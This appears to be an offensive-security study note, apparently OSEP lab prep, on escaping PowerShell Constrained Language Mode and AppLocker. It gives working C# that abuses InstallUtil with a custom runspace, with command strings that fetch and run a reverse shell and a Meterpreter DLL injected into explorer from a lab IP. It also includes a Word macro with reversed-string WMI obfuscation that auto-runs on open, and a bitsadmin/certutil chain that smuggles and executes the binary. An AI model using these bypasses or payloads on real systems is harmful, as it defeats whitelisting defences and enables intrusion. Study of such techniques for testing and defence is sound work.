> For the complete documentation index, see [llms.txt](https://osnotes.jackielam.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://osnotes.jackielam.net/osep/attack/evasions/application-whitelisting-bypass/powershell-language-mode.md).

# PowerShell Language Mode

## Language Mode

{% code title="chk PS session lang mode" %}

```powershell
$ExecutionContext.SessionState.LanguageMode
```

{% endcode %}

{% hint style="info" %}

1. *FullLanguage* allows all cmdlets and the entire .NET framework as well as C# code execution.
2. *RestrictedLanguage* offers a compromise, allowing default cmdlets but heavily restricting much else.
3. *NoLanguage* disallows all script text.
   {% endhint %}

### *ConstrainedLanguage* mode (CLM)&#x20;

{% embed url="<https://github.com/calebstewart/bypass-clm>" %}
&#x20;comment out the AMSI bypass source code or it will be flagged by the AV. If `AppControl` is enabled, you can use the well known `InstallUtil` method. Simply place the binary in a safe directory (`C:\Windows\Tasks\` is a common safe directory)
{% endembed %}

<pre data-title="cmd" data-overflow="wrap"><code>dir \Windows\Microsoft.NET\* /s/b | findstr InstallUtil.exe$
<strong>
</strong><strong>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "C:\Windows\Tasks\bypass-clm.exe"
</strong></code></pre>

Under *ConstrainedLanguage*, scripts that are located in whitelisted locations or otherwise comply with a whitelisting rule can execute with full functionality. However, if a script does not comply with the rules, or if commands are entered directly on the command line, *ConstrainedLanguage* imposes numerous restrictions. The most significant limitation excludes calls to the .NET framework, execution of C# code and reflection.

{% hint style="info" %}
Microsoft introduced the CLM with PowerShell version 3.0.

When AppLocker (or WDAC) is enforcing whitelisting rules against PowerShell scripts, *ConstrainedLanguage* is enabled as well.

On Windows 7, 8.1 and earlier versions of Windows 10, PowerShell version 2 was installed by default along with the most recent version of PowerShell. On these systems, it may be <mark style="background-color:green;">possible to bypass constrained language mode by specifying version two of PowerShell (-v2)</mark> when starting the process.
{% endhint %}

#### CLM Bypass with Custom Runspaces and *InstallUtil* abuse to bypass AppLock Rule

{% hint style="warning" %}
Not work if *InstallUtil* was blocked
{% endhint %}

{% hint style="info" %}
Custom PS runspaces bypasses CLM in PowerShell

*InstallUtil* bypasses AppLocker executable rules for a C# application
{% endhint %}

<pre class="language-csharp" data-title="bypass.exe" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-csharp">using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;

namespace Bypass
{
    class Program
    {
        <a data-footnote-ref href="#user-content-fn-1">static void Main</a>(string[] args)
        {
            Console.WriteLine("This is the main method which is a decoy");
        }
    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        <a data-footnote-ref href="#user-content-fn-2">public override void Uninstall</a>(System.Collections.IDictionary savedState)
        {
            String cmd = "$ExecutionContext.SessionState.LanguageMode | Out-File -FilePath C:\\Tools\\test.txt";
            //String cmd = "(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/PowerUp.ps1') | IEX; Invoke-AllChecks | Out-File -FilePath C:\\Tools\\test.txt";
            //<a data-footnote-ref href="#user-content-fn-3">String cmd = "(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/rev.ps1') | IEX"</a>
            //<a data-footnote-ref href="#user-content-fn-4">String cmd = "$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/met.dll');(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/Invoke-ReflectivePEInjection.ps1') | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid";</a>
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();

            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;

            ps.AddScript(cmd);

            ps.Invoke();

            rs.Close();
        }
    }
}
</code></pre>

Trigger CLM bypass code with *InstallUtil* `/U` uninstall method

{% code overflow="wrap" %}

```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe
```

{% endcode %}

{% hint style="info" %}
Since MS Office macro are not limited by AppLocker, can reuse the [WMI method](/osep/attack/evasions/vba-av-bypass/powershell-inside-vba.md#obfuscated-with-windows-management-instrumentation-wmi) to execute *InstallUtil* and obtain the same result
{% endhint %}

<pre class="language-vba" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-vba">Function bears(cows)
    bears = StrReverse(cows)
End Function

Sub Mymacro()
Dim strArg As String
strArg = "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Tools\Bypass.exe"

<a data-footnote-ref href="#user-content-fn-5">GetObject(bears(":stmgmniw")).Get(bears("ssecorP_23niW"))</a>.Create strArg, Null, Null, pid
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    Mymacro
End Sub
</code></pre>

#### Hiding bypass.exe

{% code title="attacker:" overflow="wrap" fullWidth="true" %}

```
certutil -encode C:\Bypass.exe file.txt
```

{% endcode %}

<pre class="language-bash" data-title="victim" data-overflow="wrap" data-full-width="true"><code class="lang-bash"><a data-footnote-ref href="#user-content-fn-6">bitsadmin /Transfer myJob http://192.168.119.120/file.txt C:\users\student\enc.txt</a> &#x26;&#x26; <a data-footnote-ref href="#user-content-fn-7">certutil -decode C:\users\student\enc.txt C:\users\student\Bypass.exe</a> &#x26;&#x26; del C:\users\student\enc.txt &#x26;&#x26; C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\windows\tasks\Bypass.exe
</code></pre>

### [Reflective C# DLL Injection](/osep/attack/evasions/c-dll-injection.md#reflective-dll-injection-to-process-with-powershell-in-memory) bypassing AppLocker DLL rule & CLM&#x20;

{% code title="cmd in bypass.exe" overflow="wrap" fullWidth="true" %}

```csharp
String cmd = "$bytes = (New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/met.dll');(New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/Invoke-ReflectivePEInjection.ps1') | IEX; $procid = (Get-Process -Name explorer).Id; Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid";
```

{% endcode %}

[^1]: run the .exe in in admin user cmd will trigger this code

[^2]: normal user run it by installutil /u uninstall method

[^3]: [PS Shellcode runner](/osep/attack/client-side-code-execution.md#run-from-web-server-through-powershell-in-memory)

[^4]: [Reflective C# DLL Injection](#reflective-c-dll-injection-bypassing-applocker-dll-rule-and-clm) bypassing AppLocker DLL rule & CLM

[^5]: `GetObject("winmgmts:").Get("Win32_Process")`

[^6]: transfer the base64 encoded bypass.exe with bitadmin (certutil download likely be flagged)

[^7]: decode&#x20;
